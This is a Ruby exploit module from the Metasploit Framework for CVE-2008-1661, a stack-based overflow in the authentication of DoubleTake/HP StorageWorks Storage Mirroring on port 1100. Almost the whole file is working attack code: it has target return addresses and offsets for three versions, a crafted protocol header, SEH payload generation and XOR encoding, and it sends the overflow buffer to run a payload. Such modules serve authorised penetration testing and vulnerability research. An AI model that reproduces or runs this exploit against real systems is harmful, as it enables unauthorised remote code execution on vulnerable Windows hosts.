##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::Seh
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'DoubleTake/HP StorageWorks Storage Mirroring Service Authentication Overflow',
      'Description'    => %q{
          This module exploits a stack overflow in the authentication mechanism of 
          NSI Doubletake which is also rebranded as HP Storage Works. This vulnerability
          was found by Titon of Bastard Labs.
      },
      'Author'         => [ 'ri0t <ri0t[at]ri0tnet.net>' ],
      'Version'        => '$Revision$',
      'References'     => 
        [
          ['CVE', '2008-1661'],
          ['OSVDB', '45924'],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'Space'    => 500,
          'BadChars' => "\x00",
        },
      'Platform'       => 'win',
      
      'Targets'        =>
        [
          ['doubletake 4.5.0',      { 'Ret' => 0x006f5fa7, 'Offset' => 5544 } ],
          ['doubletake 4.4.2',      { 'Ret' => 0x0074e307, 'Offset' => 944  } ],  
          ['doubletake 4.5.0.1819', { 'Ret' => 0x006e62dd, 'Offset' => 5544 } ],
        ],
       'DefaultTarget' => 0,

      'Privileged'     => false
      ))

      register_options(
      [
        Opt::RPORT(1100)
      ], self.class)
  end

  def exploit

    connect

    print_status("Trying target #{target.name}...")

         header = 
               "\x00\x02\x00\x01\x27\x30\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
               "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x36\x00\x00\x00\x00"+
               "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01"+
               "\x00\x00\x00\x1e\x00\x00\x00\x01\x00\x01"

    xor = Rex::Encoding::Xor::Byte
    filler =  rand_text_english(1) * (target['Offset'])
    seh = generate_seh_payload(target.ret)
    buffercoded = xor.encode(seh+payload.encoded, [0xf0].pack("C"))
    sploit =  header + filler + buffercoded[0]
    sock.put(sploit)
    
    handler
    disconnect  
  end

end